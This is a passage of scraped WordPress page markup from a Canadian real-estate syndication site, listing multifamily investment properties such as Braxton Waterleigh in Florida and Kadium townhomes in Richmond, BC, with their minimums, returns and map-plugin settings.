\/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_13 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09-980x663.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09-480x325.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10738\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_14 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10739\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_15 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11-980x680.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11-480x333.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10740\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_16 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12-980x636.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10741\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_5 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_7 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_13  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_1 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">Braxton Waterleigh<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_18  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Horizon West, Florida<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_8 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_14  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_19  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_20  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$25K<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_15  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_21  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_22  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Monthly<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_16  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_23  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_24  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">25.1%<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_17  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_25  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_26  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">5 Years<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_18  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_27  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_28  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Multifamily<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_19  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_29  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_30  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_9 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_20  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_31  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>nThis community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_21  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_32 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_33 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$32,000,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_6 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_10\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_22  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_34  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" 